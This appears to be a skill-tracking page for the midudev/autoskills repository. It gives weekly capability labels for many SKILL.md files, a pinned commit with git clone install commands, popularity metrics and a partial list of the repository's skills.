First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/stripe-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/supabase-postgres-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/svelte-code-writer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/svelte5-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/swift-concurrency/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/swift-testing-expert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/swiftui-expert-skill/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/tailwind-css-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/tailwind-v4-shadcn/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/tanstack-start/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/tauri-v2/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/terraform-module-library/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/terraform-stacks/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/terraform-style-guide/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/test-driven-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/test-service/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-animation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-fundamentals/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-geometry/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-interaction/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-lighting/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-loaders/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-materials/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-postprocessing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-shaders/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/threejs-textures/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/triage-bug/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/turborepo/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/twoFactor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/typescript-advanced-types/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/upgrade-stripe/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/use-ai-sdk/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/vite/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/vitest/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/vue/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/vue-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/vue-debug-guides/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/vue-pinia-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/web-perf/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wordpress-router/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/workers-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wp-block-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wp-block-themes/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wp-performance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wp-plugin-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wp-project-triage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wp-rest-api/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wp-wpcli-and-ops/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/wrangler/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/xcode-build-orchestrator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/zod/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
Verified commit 077b6ea6d747b3f392314bc47e7bb5285f1159b1
git clone --filter=blob:none --no-checkout https://github.com/midudev/autoskills.git .hotskills/midudev-autoskills && git -C .hotskills/midudev-autoskills checkout --detach 077b6ea6d747b3f392314bc47e7bb5285f1159b1
# Copy each selected skill directory from .hotskills/midudev-autoskills into .agents/skills/<skill-name>/git clone --filter=blob:none --no-checkout https://github.com/midudev/autoskills.git .hotskills/midudev-autoskills && git -C .hotskills/midudev-autoskills checkout --detach 077b6ea6d747b3f392314bc47e7bb5285f1159b1
# Copy each selected skill directory from .hotskills/midudev-autoskills into .opencode/skills/<skill-name>/Heat
4.2- Star growth, last 7 daysAhead of 51% of tracked repositories
- Star growth, last 24 hoursAhead of 5% of tracked repositories
- Rank movement, last 7 daysAhead of 57% of tracked repositories
- Commits, last 30 daysAhead of 85% of tracked repositories
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekAhead of 0% of tracked repositories
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
Individual skills in this repository
- accessibility
packages/autoskills/skills-registry/accessibility - adev-writing-guide
packages/autoskills/skills-registry/adev-writing-guide - agents-sdk
packages/autoskills/skills-registry/agents-sdk - android-architecture-clean
packages/autoskills/skills-registry/android-architecture-clean - android-compose-foundations
packages/autoskills/skills-registry/android-compose-foundations - android-coroutines-flow
packages/autoskills/skills-registry/android-coroutines-flow - android-di-hilt
packages/autoskills/skills-registry/android-di-hilt - android-gradle-build-logic
packages/autoskills/skills-registry/android-gradle-build-logic - android-kotlin-core
packages/autoskills/skills-registry/android-kotlin-core - android-networking-retrofit-okhttp
packages/autoskills/skills-registry/android-networking-retrofit-okhttp - android-testing-unit
packages/autoskills/skills-registry/android-testing-unit - angular-developer
packages/autoskills/skills-registry/angular-developer - apply-stack-conventions
packages/autoskills/skills-registry/apply-stack-conventions - aspnet-core
packages/autoskills/skills-registry/aspnet-core - aspnet-minimal-api-openapi
packages/autoskills/skills-registry/aspnet-minimal-api-openapi - astro
packages/autoskills/skills-registry/astro - azure-ai
packages/autoskills/skills-registry/azure-ai - azure-deploy
packages/autoskills/skills-registry/azure-deploy - azure-diagnostics
packages/autoskills/skills-registry/azure-diagnostics - bash-defensive-patterns
packages/autoskills/skills-registry/bash-defensive-patterns - better-auth-best-practices
packages/autoskills/skills-registry/best-practices - bun
packages/autoskills/skills-registry/bun - chrome-extension-development
packages/autoskills/skills-registry/chrome-extension-development - clerk
packages/autoskills/skills-registry/clerk - clerk-android
packages/autoskills/skills-registry/clerk-android - clerk-astro-patterns
packages/autoskills/skills-registry/clerk-astro-patterns - clerk-backend-api
packages/autoskills/skills-registry/clerk-backend-api - clerk-chrome-extension-patterns
packages/autoskills/skills-registry/clerk-chrome-extension-patterns - clerk-custom-ui
packages/autoskills/skills-registry/clerk-custom-ui - clerk-expo
packages/autoskills/skills-registry/clerk-expo - clerk-nextjs-patterns
packages/autoskills/skills-registry/clerk-nextjs-patterns - clerk-nuxt-patterns
packages/autoskills/skills-registry/clerk-nuxt-patterns - clerk-orgs
packages/autoskills/skills-registry/clerk-orgs - clerk-react-patterns
packages/autoskills/skills-registry/clerk-react-patterns - clerk-react-router-patterns
packages/autoskills/skills-registry/clerk-react-router-patterns - clerk-setup
packages/autoskills/skills-registry/clerk-setup - clerk-swift
packages/autoskills/skills-registry/clerk-swift - clerk-tanstack-patterns
packages/autoskills/skills-registry/clerk-tanstack-patterns - clerk-testing
packages/autoskills/skills-registry/clerk-testing - clerk-vue-patterns
packages/autoskills/skills-registry/clerk-vue-patterns - clerk-webhooks
packages/autoskills/skills-registry/clerk-webhooks - cloudflare
packages/autoskills/skills-registry/cloudflare - cloudflare-deploy
packages/autoskills/skills-registry/cloudflare-deploy - vercel-composition-patterns
packages/autoskills/skills-registry/composition-patterns - containerize-aspnetcore
packages/autoskills/skills-registry/containerize-aspnetcore - core-data-expert
packages/autoskills/skills-registry/core-data-expert - csharp-async
packages/autoskills/skills-registry/csharp-async - csharp-docs
packages/autoskills/skills-registry/csharp-docs - csharp-mstest
packages/autoskills/skills-registry/csharp-mstest - csharp-nunit
packages/autoskills/skills-registry/csharp-nunit - csharp-tunit
packages/autoskills/skills-registry/csharp-tunit - csharp-xunit
packages/autoskills/skills-registry/csharp-xunit - dart-best-practices
packages/autoskills/skills-registry/dart-best-practices - deploy-to-vercel
packages/autoskills/skills-registry/deploy-to-vercel - sleek-design-mobile-apps
packages/autoskills/skills-registry/design-mobile-apps - django-expert
packages/autoskills/skills-registry/django-expert - django-patterns
packages/autoskills/skills-registry/django-patterns - django-security
packages/autoskills/skills-registry/django-security - dotnet-best-practices
packages/autoskills/skills-registry/dotnet-best-practices - dotnet-design-pattern-review
packages/autoskills/skills-registry/dotnet-design-pattern-review - dotnet-upgrade
packages/autoskills/skills-registry/dotnet-upgrade - drizzle
packages/autoskills/skills-registry/drizzle - durable-objects
packages/autoskills/skills-registry/durable-objects - eas-app-stores
packages/autoskills/skills-registry/eas-app-stores - eas-hosting
packages/autoskills/skills-registry/eas-hosting - eas-workflows
packages/autoskills/skills-registry/eas-workflows - elevenlabs-music
packages/autoskills/skills-registry/elevenlabs-music - elevenlabs-tts
packages/autoskills/skills-registry/elevenlabs-tts - elysiajs
packages/autoskills/skills-registry/elysia - email-and-password-best-practices
packages/autoskills/skills-registry/emailAndPassword - expo-data-fetching
packages/autoskills/skills-registry/expo-data-fetching - expo-dev-client
packages/autoskills/skills-registry/expo-dev-client - expo-dom
packages/autoskills/skills-registry/expo-dom - expo-native-ui
packages/autoskills/skills-registry/expo-native-ui - expo-upgrade
packages/autoskills/skills-registry/expo-upgrade - fastapi
packages/autoskills/skills-registry/fastapi - fastapi-python
packages/autoskills/skills-registry/fastapi-python - fastapi-templates
packages/autoskills/skills-registry/fastapi-templates - fastmcp
packages/autoskills/skills-registry/fastmcp - flask-api-development
packages/autoskills/skills-registry/flask-api-development - fluentui-blazor
packages/autoskills/skills-registry/fluentui-blazor - flutter-animations
packages/autoskills/skills-registry/flutter-animations - flutter-expert
packages/autoskills/skills-registry/flutter-expert - flutter-testing
packages/autoskills/skills-registry/flutter-testing - frontend-design
packages/autoskills/skills-registry/frontend-design - generating-sorbet
packages/autoskills/skills-registry/generating-sorbet - generating-sorbet-inline
packages/autoskills/skills-registry/generating-sorbet-inline - golang-patterns
packages/autoskills/skills-registry/golang-patterns - golang-testing
packages/autoskills/skills-registry/golang-testing - gsap-core
packages/autoskills/skills-registry/gsap-core - gsap-frameworks
packages/autoskills/skills-registry/gsap-frameworks - gsap-performance
packages/autoskills/skills-registry/gsap-performance - gsap-plugins
packages/autoskills/skills-registry/gsap-plugins - gsap-react
packages/autoskills/skills-registry/gsap-react - gsap-scrolltrigger
packages/autoskills/skills-registry/gsap-scrolltrigger - gsap-timeline
packages/autoskills/skills-registry/gsap-timeline - gsap-utils
packages/autoskills/skills-registry/gsap-utils - hono
packages/autoskills/skills-registry/hono - implement-background-job
packages/autoskills/skills-registry/implement-background-job - instantdb
packages/autoskills/skills-registry/instantdb - java-coding-standards
packages/autoskills/skills-registry/java-coding-standards - java-docs
packages/autoskills/skills-registry/java-docs - java-springboot
packages/autoskills/skills-registry/java-springboot - kotlin-tooling-agp9-migration
packages/autoskills/skills-registry/kotlin-tooling-agp9-migration - kotlin-tooling-cocoapods-spm-migration
packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration - laravel-patterns
packages/autoskills/skills-registry/laravel-patterns - laravel-specialist
packages/autoskills/skills-registry/laravel-specialist - Machine Learning
packages/autoskills/skills-registry/machine-learning - migrate-to-vinext
packages/autoskills/skills-registry/migrate-to-vinext - neon-postgres
packages/autoskills/skills-registry/neon-postgres - nestjs-best-practices
packages/autoskills/skills-registry/nestjs-best-practices - next-cache-components-adoption
packages/autoskills/skills-registry/next-cache-components-adoption - nodejs-backend-patterns
packages/autoskills/skills-registry/nodejs-backend-patterns - nodejs-best-practices
packages/autoskills/skills-registry/nodejs-best-practices - nodejs-express-server
packages/autoskills/skills-registry/nodejs-express-server - nuxt
packages/autoskills/skills-registry/nuxt - organization-best-practices
packages/autoskills/skills-registry/organization - oxlint
packages/autoskills/skills-registry/oxlint - Pandas Data Analysis
packages/autoskills/skills-registry/pandas-data-analysis - pandas-pro
packages/autoskills/skills-registry/pandas-pro - php-pro
packages/autoskills/skills-registry/php-pro - plan-tests
packages/autoskills/skills-registry/plan-tests - playwright-best-practices
packages/autoskills/skills-registry/playwright-best-practices - PR Review
packages/autoskills/skills-registry/pr_review - prisma-cli
packages/autoskills/skills-registry/prisma-cli - prisma-client-api
packages/autoskills/skills-registry/prisma-client-api - prisma-database-setup
packages/autoskills/skills-registry/prisma-database-setup - prisma-postgres
packages/autoskills/skills-registry/prisma-postgres - pydantic
packages/autoskills/skills-registry/pydantic - python-background-jobs
packages/autoskills/skills-registry/python-background-jobs - python-executor
packages/autoskills/skills-registry/python-executor - python-patterns
packages/autoskills/skills-registry/python-patterns - python-testing-patterns
packages/autoskills/skills-registry/python-testing-patterns - rails-guides
packages/autoskills/skills-registry/rails-guides - rails-upgrade
packages/autoskills/skills-registry/rails-upgrade - vercel-react-best-practices
packages/autoskills/skills-registry/react-best-practices - react-hook-form
packages/autoskills/skills-registry/react-hook-form - react-three-fiber
packages/autoskills/skills-registry/react-three-fiber - redis-core
packages/autoskills/skills-registry/redis-core - refactor-module
packages/autoskills/skills-registry/refactor-module - reference-compiler-cli
packages/autoskills/skills-registry/reference-compiler-cli - reference-core
packages/autoskills/skills-registry/reference-core - reference-signal-forms
packages/autoskills/skills-registry/reference-signal-forms - remotion-best-practices
packages/autoskills/skills-registry/remotion-best-practices - review-migration
packages/autoskills/skills-registry/review-migration - ruby
packages/autoskills/skills-registry/ruby - ruby-on-rails-best-practices
packages/autoskills/skills-registry/ruby-on-rails-best-practices - rust-best-practices
packages/autoskills/skills-registry/rust-best-practices - sandbox-stable
packages/autoskills/skills-registry/sandbox-stable - scikit-learn
packages/autoskills/skills-registry/scikit-learn - security-check
packages/autoskills/skills-registry/security-check - senior-data-scientist
packages/autoskills/skills-registry/senior-data-scientist - seo
packages/autoskills/skills-registry/seo - shadcn
packages/autoskills/skills-registry/shadcn - sqlalchemy
